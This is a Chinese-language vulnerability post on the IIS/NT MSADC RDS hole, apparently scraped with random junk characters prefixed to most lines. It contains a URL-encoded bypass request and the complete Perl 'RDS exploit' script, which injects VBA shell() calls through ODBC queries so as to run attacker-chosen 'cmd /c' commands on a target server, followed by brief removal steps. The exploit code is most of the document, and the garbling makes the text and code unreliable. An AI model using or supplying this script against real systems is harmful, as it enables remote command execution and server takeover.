IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
MPAZ%<gmD ^t*+hFEI 涉及程序:
C$"jZcm,I Microsoft NT server
v|?hc'Fj nxsQDw\hy 描述:
3+EJ% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Q= + Frsk
]vXIj0: 详细:
+y6|Nq 如果你没有时间读详细内容的话,就删除:
tmRD$O%: c:\Program Files\Common Files\System\Msadc\msadcs.dll
cEsBKaN 有关的安全问题就没有了。
79s6U^vv" Zv7@ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
q[M7)- 6x]|IWvW 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?uU0NKZA 关于利用ODBC远程漏洞的描述,请参看:
_xl#1>G^J [l-zU}u&v http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,^26.p$ 6lT1X) 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
yx{Ac|<mR http://www.microsoft.com/security/bulletins/MS99-025faq.asp UciWrwE
CV]PCq! 这里不再论述。
`DG6ollp{ 8kW9.
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
D8m?`^Zz E;VB oN [ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;FMK>%Zq 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ZNOoyWYi5 $C9<{zX
Co[[6pt~ #将下面这段保存为txt文件,然后: "perl -x 文件名"
R:E6E@T 3 [SN[faS #!perl
~-']Q0Z #
c`doR(oZ # MSADC/RDS 'usage' (aka exploit) script
**! lV]/ #
>B8)Wb: # by rain.forest.puppy
jph~g*Z #
f#eTi&w # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
AA>5h<NM # beta test and find errors!
Wn0r[h5t *VHBTO9 use Socket; use Getopt::Std;
4TwU0N+> getopts("e:vd:h:XR", \%args);
_q6+] ua|qL! L+ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
h,FP,w;G oq8~PTw if (!defined $args{h} && !defined $args{R}) {
6WceDY print qq~
<' P|g Usage: msadc.pl -h <host> { -d <delay> -X -v }
1G.+)*:3 -h <host> = host you want to scan (ip or domain)
Q Aygr4\X^ -d <seconds> = delay between calls, default 1 second
2-j|q6m5 -X = dump Index Server path table, if available
k_P`t[YZV -v = verbose
T2Y`q' -e = external dictionary file for step 5
R&ou4Y:DG
`c :'il? Or a -R will resume a command session
7c
%@2
VZAdc*X ~; exit;}
OUI}jJw+ "5{Yn!-: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*9PS2*n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
DOhXb if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$XyGCn if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
wf|CE410 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!c SD9q* if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Vg:P@6s aj(M{gFq~ if (!defined $args{R}){ $ret = &has_msadc;
Dcus-,u~ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Y] P}7GZ -\UzL:9> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X@~sIUXx9 . "cmd /c ";
~@'|R%jJ $in=<STDIN>; chomp $in;
&cpRB&bf $command="cmd /c " . $in ;
sv0kksj RK rBHqh@ if (defined $args{R}) {&load; exit;}
cLR8U1k' Ae ue:u> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*
+OAc`8 &try_btcustmr;
f{3FoN=z ulj`+D?H print "\nStep 2: Trying to make our own DSN...";
\GMudN &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
n0vPW^EQ }}_WZ},h print "\nStep 3: Trying known DSNs...";
P92:}" )*> &known_dsn;
tmb0zuJ&C! zR{TWk] print "\nStep 4: Trying known .mdbs...";
#(
kT &known_mdb;
xHD!8B) H.>KYiv+ if (defined $args{e}){
OVj,qL) print "\nStep 5: Trying dictionary of DSN names...";
vm4]KEyrX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
e;!<3b |?g2k:fzB7 print "Sorry Charley...maybe next time?\n";
Pyyx/u+?@ exit;
57[O)5u.+ JBoo7a1 ##############################################################################
X(WG:FP27 \H" (*["& sub sendraw { # ripped and modded from whisker
VKR6 i sleep($delay); # it's a DoS on the server! At least on mine...
[Xz7.<0#U my ($pstr)=@_;
6b]vHT|p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
||!k 3t#< die("Socket problems\n");
,9A[o`b if(connect(S,pack "SnA4x8",2,80,$target)){
QkF-}P% select(S); $|=1;
[fW:%!Y' print $pstr; my @in=<S>;
{?m',sG;& select(STDOUT); close(S);
O]~p)E return @in;
:$}67b)MO } else { die("Can't connect...\n"); }}
~?L. n:wu F[ ? t"d ##############################################################################
[n:R]|^a $}\.)^[} sub make_header { # make the HTTP request
l7x%G@1#~W my $msadc=<<EOT
A$5!]+ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]I}'
[D User-Agent: ACTIVEDATA
Sk1yend4 Host: $ip
F`38sq Content-Length: $clen
sF<4uy Connection: Keep-Alive
3b[_0 u;Z~Px4]v ADCClientVersion:01.06
?VzST } Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3gGF?0o Fh?q;oEj --!ADM!ROX!YOUR!WORLD!
Ng-3|N Content-Type: application/x-varg
Zd5frc$ Content-Length: $reqlen
$Z;0/\r% 9^aMmN&6N2 EOT
1$
l3-x ; $msadc=~s/\n/\r\n/g;
4)"jg[ return $msadc;}
"urQUpF /sYD+*a ##############################################################################
CF$^we 0<P
-` |X sub make_req { # make the RDS request
@,s[l1P my ($switch, $p1, $p2)=@_;
Z&21gN my $req=""; my $t1, $t2, $query, $dsn;
\
(X~Z K(Cv9YQ if ($switch==1){ # this is the btcustmr.mdb query
&]ImO
RN $query="Select * from Customers where City=" . make_shell();
fYH%vr) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
WJg?R^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
mk0rAN py,z7_Nuh elsif ($switch==2){ # this is general make table query
^c-1wV`/ $query="create table AZZ (B int, C varchar(10))";
un..UU4 $dsn="$p1";}
2>UyA.m0 BGUP-_& elsif ($switch==3){ # this is general exploit table query
/r]IY. $query="select * from AZZ where C=" . make_shell();
PR.?"$!D{ $dsn="$p1";}
Rr:,'cXGi % +eZ U)N elsif ($switch==4){ # attempt to hork file info from index server
Gh@QR`xxc $query="select path from scope()";
WF:i}+g+^ $dsn="Provider=MSIDXS;";}
_STN ^
%pV/(/Q elsif ($switch==5){ # bad query
s K s
D $query="select";
&%INfl>o7. $dsn="$p1";}
jMZ{>l.v QZzi4[-as $t1= make_unicode($query);
!v94FkS> $t2= make_unicode($dsn);
$%sOL(
r $req = "\x02\x00\x03\x00";
3VKArv- $req.= "\x08\x00" . pack ("S1", length($t1));
_ea!psA0 $req.= "\x00\x00" . $t1 ;
IEO5QV:u: $req.= "\x08\x00" . pack ("S1", length($t2));
e6]u5;B
r $req.= "\x00\x00" . $t2 ;
uE+]]ir $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
up`!r;5- return $req;}
!7Ta Vx}`( 4WDh8U ##############################################################################
{3!v<CY' >Ei_## sub make_shell { # this makes the shell() statement
`&j5/[>v return "'|shell(\"$command\")|'";}
>H?8?a D p]IF=~b ##############################################################################
A=E1S{C
-x@mS2 sub make_unicode { # quick little function to convert to unicode
91e&-acA my ($in)=@_; my $out;
X8p-VCkV for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
WOR~tS return $out;}
hQPiGIs oJ>]=^?k ##############################################################################
IIs'm!"Y> ~[ isR|> sub rdo_success { # checks for RDO return success (this is kludge)
7k{C'\m my (@in) = @_; my $base=content_start(@in);
ErHbc2 if($in[$base]=~/multipart\/mixed/){
"{j4?3f) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6:#zlKYJ return 0;}
R/xeC [r (
{5LB4 ##############################################################################
9JpPas$] K1]H~' sub make_dsn { # this makes a DSN for us
E9YR *P4$ my @drives=("c","d","e","f");
-]\UFR print "\nMaking DSN: ";
6ix8P;;}# foreach $drive (@drives) {
O4S~JE3o print "$drive: ";
f3[gAY my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"VRc R "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4(f[Z9 iZ] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
NDWpV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
g
VplBF7{ return 0 if $2 eq "404"; # not found/doesn't exist
C%9;~S if($2 eq "200") {
~q5" ' foreach $line (@results) {
'C)`j{CS return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
q
okgu$2 } return 0;}
3Gubq4r D4$;jz,, ##############################################################################
4siNY4i" D .oX>L#: sub verify_exists {
tXV9+AJ my ($page)=@_;
Ep>3%{V my @results=sendraw("GET $page HTTP/1.0\n\n");
:GBWQXb G return $results[0];}
l\I#^N n*D-01vYP ##############################################################################
%QCh#v=ks ~Pq1@N>n sub try_btcustmr {
BqC!78Y/e my @drives=("c","d","e","f");
!`LaX!bmp my @dirs=("winnt","winnt35","winnt351","win","windows");
$6kVhE!; g"Mqh!{
FI foreach $dir (@dirs) {
S='AA_jnw print "$dir -> "; # fun status so you can see progress
!o1{. V9q foreach $drive (@drives) {
$1y8gm print "$drive: "; # ditto
-!f)P=S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.&:y+Oww~ $reqlenlen=length( "$reqlen" );
RB`Emp&T $clen= 206 + $reqlenlen + $reqlen;
eKPxSN Z _w0t+=& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(Z;;v|F.i= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
uLX5khQ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
QV,X> !Nz VJmX@zX9 ##############################################################################
,:Qy%k}f B8;jRY sub odbc_error {
V3DXoRE-8i my (@in)=@_; my $base;
KJ M:-z@ my $base = content_start(@in);
FKRO0%M4}Z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
G5a PjP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yV[9 ( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\n$s5i- $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ysbd4rN return $in[$base+4].$in[$base+5].$in[$base+6];}
Z
M_
6A1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
- e0C
Bp print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
cVya~ * $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
G347&F) ^L#\z7 ##############################################################################
q_S`@2Dzz, RP 'VEJ sub verbose {
D#Fe\8!l my ($in)=@_;
{uH
4j4)2 return if !$verbose;
i i&{gC print STDOUT "\n$in\n";}
{,EOSta l}odW ##############################################################################
o (fZZ`6Y wgfy; # sub save {
banie{ e my ($p1, $p2, $p3, $p4)=@_;
C/V{&/5w open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=5=D)x~ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
hpp>+= close OUT;}
jusP
aAdW N5 ITb0Tv ##############################################################################
*AX)QKQ@ E/ %S0 sub load {
v\7k my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w20E]4" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
]yu,YZ@7 @p=<IN>; close(IN);
f5D.wSY $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5c6CH k`: $target= inet_aton($ip) || die("inet_aton problems");
$T* ##kyE9 print "Resuming to $ip ...";
.s$#: ls? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\%\b*OO if($p[1]==1) {
Yas! w' $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/?X1>A:* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
uV1H iv- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z-[nHSf if (rdo_success(@results)){print "Success!\n";}
DF D5">g@ else { print "failed\n"; verbose(odbc_error(@results));}}
_J^q| elsif ($p[1]==3){
T{=.mW^ x if(run_query("$p[3]")){
`< 8Fc`;[ print "Success!\n";} else { print "failed\n"; }}
%4QCUc*lr elsif ($p[1]==4){
e
iS~*@ if(run_query($drvst . "$p[3]")){
"h.} o DS print "Success!\n"; } else { print "failed\n"; }}
Y68`B"3 exit;}
]:TX> X! tV2SX7N ##############################################################################
INwc@XB ,Ie~zZE& sub create_table {
wqDRFZ1*P my ($in)=@_;
dIv/.x/V $reqlen=length( make_req(2,$in,"") ) - 28;
#sit8k`GR8 $reqlenlen=length( "$reqlen" );
pGw|T~e% $clen= 206 + $reqlenlen + $reqlen;
QrDrdA my @results=sendraw(make_header() . make_req(2,$in,""));
js
)G return 1 if rdo_success(@results);
X'N4a my $temp= odbc_error(@results); verbose($temp);
Gjuc"JR7 return 1 if $temp=~/Table 'AZZ' already exists/;
8OC5L1 return 0;}
Y{y #us1 YN4P
>d ##############################################################################
=DTn9}u lv9Ss-c4 sub known_dsn {
#r 1
$=GY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Avw"[~Xd my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
EK.L>3 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Y.rHl4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
EVmQ"PKL' xD#PM |I foreach $dSn (@dsns) {
R7T"fN print ".";
[ANit0-~ next if (!is_access("DSN=$dSn"));
]OY6.m if(create_table("DSN=$dSn")){
W#'c6Hq2c print "$dSn successful\n";
mm%w0dOb" if(run_query("DSN=$dSn")){
6, ag\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,G1|]
~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
t&SJ!>7_c bf3LNV| ##############################################################################
s9'g'O5 BieII$\P%P sub is_access {
P>euUVMPz4 my ($in)=@_;
3@$h/xMJ $reqlen=length( make_req(5,$in,"") ) - 28;
@&+h3dV.V $reqlenlen=length( "$reqlen" );
/0SG $clen= 206 + $reqlenlen + $reqlen;
]Ke|wRQD my @results=sendraw(make_header() . make_req(5,$in,""));
wd*T"V3 my $temp= odbc_error(@results);
A4';((OXy verbose($temp); return 1 if ($temp=~/Microsoft Access/);
[k-7Kq return 0;}
c%pW'UE& fFXs:( ##############################################################################
9b]*R.x:$& /Re1QS sub run_query {
0x# 6L my ($in)=@_;
i40r}?- $reqlen=length( make_req(3,$in,"") ) - 28;
toTAWT D $reqlenlen=length( "$reqlen" );
f;u;hQxs $clen= 206 + $reqlenlen + $reqlen;
6z%3l7#7Yi my @results=sendraw(make_header() . make_req(3,$in,""));
IvIBf2D;Q return 1 if rdo_success(@results);
+KFK.. my $temp= odbc_error(@results); verbose($temp);
AG}'
W return 0;}
\07Vh6cj m)_1->K ##############################################################################
/UyW&]nK [%l+
C~m sub known_mdb {
58e{WC my @drives=("c","d","e","f","g");
Zy*}C,Z my @dirs=("winnt","winnt35","winnt351","win","windows");
vW$]:). my $dir, $drive, $mdb;
QH\*l~;B\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^fK8~g;rB I]SR.Yp% # this is sparse, because I don't know of many
vA`[#(C my @sysmdbs=( "\\catroot\\icatalog.mdb",
5tq$SF42X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
}sJ%InL "\\system32\\certmdb.mdb",
0SKt8pL` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;t?pyFT2Z Ur&: Rr my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
aqzvT5*8% "\\cfusion\\cfapps\\forums\\forums_.mdb",
iT^lk'?{O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
P#ru-0DD "\\cfusion\\cfapps\\security\\realm_.mdb",
-m'a%aog "\\cfusion\\cfapps\\security\\data\\realm.mdb",
L6 _Sc-sU "\\cfusion\\database\\cfexamples.mdb",
w4L\@y3 "\\cfusion\\database\\cfsnippets.mdb",
7KM!\"PM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2DV{gF "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3'/wRK l "\\cfusion\\brighttiger\\database\\cleam.mdb",
) ]~HjA; "\\cfusion\\database\\smpolicy.mdb",
|?8CV\D! "\\cfusion\\database\cypress.mdb",
38'H-]8q" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
APc@1="#J "\\website\\cgi-win\\dbsample.mdb",
eazP'(rc "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;4qalxzu "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=Fj:#s ); #these are just
z%g<&Cq foreach $drive (@drives) {
Ci*TX foreach $dir (@dirs){
["L?t ^*G foreach $mdb (@sysmdbs) {
R*yB); p print ".";
K4RjGSaF if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
$^
>n@Q@&L print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
V;:A& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
b/5~VY*T print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tQl= } else { print "Something's borked. Use verbose next time\n"; }}}}}
q0c)pxD%` i;dr(c/ft foreach $drive (@drives) {
X 4/r#<Da foreach $mdb (@mdbs) {
=~EQ3uX print ".";
YYM if(create_table($drv . $drive . $dir . $mdb)){
(U.&[B print "\n" . $drive . $dir . $mdb . " successful\n";
O0$ijJa| if(run_query($drv . $drive . $dir . $mdb)){
hR`dRbBi% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
R>0ta
Q } else { print "Something's borked. Use verbose next time\n"; }}}}
?1412Tq5 }
%xk]y&jv (Q&z1XK3 ##############################################################################
/:USpuu 'Gt`3qG sub hork_idx {
=G72`]#- print "\nAttempting to dump Index Server tables...\n";
cxv)LOl- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Hd2_Cg FB $reqlen=length( make_req(4,"","") ) - 28;
JGdBpj: $reqlenlen=length( "$reqlen" );
9a4RW}S< $clen= 206 + $reqlenlen + $reqlen;
;zJ_apZ:{ my @results=sendraw2(make_header() . make_req(4,"",""));
@%fkW"y: if (rdo_success(@results)){
<'vM+Lk my $max=@results; my $c; my %d;
\Fe5<G'v for($c=19; $c<$max; $c++){
zO\"$8q* $results[$c]=~s/\x00//g;
X0P$r6 ; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
PCIC*!{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c`jTdVD $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:8QG$Ua1 $d{"$1$2"}="";}
H{ $ yy)@F foreach $c (keys %d){ print "$c\n"; }
"1nd~
BBOw } else {print "Index server doesn't seem to be installed.\n"; }}
j68Gz5;j hs*:!&E
##############################################################################
{Y/ 02+^rqIx5 sub dsn_dict {
r-0
7!A open(IN, "<$args{e}") || die("Can't open external dictionary\n");
1%:A9%O)t while(<IN>){
gSv<.fD" $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V('b|gsEo next if (!is_access("DSN=$dSn"));
0ib 6}L% if(create_table("DSN=$dSn")){
Pb`sn5; print "$dSn successful\n";
#,9|Hr% if(run_query("DSN=$dSn")){
W UV Q_<i+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M<L<mP} print "Something's borked. Use verbose next time\n";}}}
i@;a%$5 print "\n"; close(IN);}
u}h'v&"e, x-QP+M`Pu ##############################################################################
>L(F{c: VuR BJ2D sub sendraw2 { # ripped and modded from whisker
x$p\ocA sleep($delay); # it's a DoS on the server! At least on mine...
J+4uUf/d! my ($pstr)=@_;
Q:LuRE!t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Umd!j, die("Socket problems\n");
S:j0&* if(connect(S,pack "SnA4x8",2,80,$target)){
PDsLJ|:yL print "Connected. Getting data";
N1-LM9S open(OUT,">raw.out"); my @in;
>@|<1Fx| select(S); $|=1; print $pstr;
-Tt}M#W while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$k?L?R1 close(OUT); select(STDOUT); close(S); return @in;
V:+bq` } else { die("Can't connect...\n"); }}
p?h;Sv/ INT2i8oU ##############################################################################
zJy{Ry[Sb %)e+w+ sub content_start { # this will take in the server headers
*~"`&rM( my (@in)=@_; my $c;
&ar}6eO for ($c=1;$c<500;$c++) {
g\Zk*5( if($in[$c] =~/^\x0d\x0a/){
aD^MoB3 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
@88 efF else { return $c+1; }}}
SM<kE<q# return -1;} # it should never get here actually
j
AE0$u~. z~_\onC ##############################################################################
-jy"?]ve. Rju8%FRO sub funky {
Z8@]e}n my (@in)=@_; my $error=odbc_error(@in);
u0e#iX if($error=~/ADO could not find the specified provider/){
Rb0{t[IU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
LKZI@i) exit;}
}X?*o`sW if($error=~/A Handler is required/){
WWLVy( print "\nServer has custom handler filters (they most likely are patched)\n";
_7<U[63 exit;}
:6 fQE#(s& if($error=~/specified Handler has denied Access/){
QUDVsN# print "\nServer has custom handler filters (they most likely are patched)\n";
Ss:,#| exit;}}
?uN(" I )-{~7@yqZ ##############################################################################
a8 1%M rifxr4c[X> sub has_msadc {
`lhLIQ'j my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#jJcgR< my $base=content_start(@results);
YMd&+J` return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?Sqm`)\>4 return 0;}
["M> F~AS(sk ########################
7y\g~?5N a*hThr+$M 6Ts`5$e 解决方案:
"=(;l3-o 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
(`u!/ 2、移除web 目录: /msadc